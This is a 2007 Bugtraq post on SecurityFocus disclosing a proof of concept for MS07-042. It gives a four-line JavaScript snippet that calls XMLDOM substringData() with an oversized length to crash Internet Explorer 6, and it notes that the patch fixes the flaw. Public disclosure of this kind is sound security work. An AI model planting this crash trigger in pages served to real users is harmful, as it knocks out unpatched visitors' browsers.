Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs
Name:
Email:
*Note: Email address will appear as "user domain ext" to prevent harvesting.
Subject:
Message:
 
MS07-042 XMLDOM substringData() PoC Aug 16 2007 09:32AM
Alla Bezroutchko (alla scanit be)
This bit of JavaScript kills IE 6 on Windows 2000 and Windows XP SP2

var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.loadXML("<dummy></dummy>");
var txt = xmlDoc.createTextNode("huh");
var out = txt.substringData(1,0x7fffffff);

Installing the patch from MS07-042 fixes it...

[ more ]  




 

Privacy Statement
Copyright 2009, SecurityFocus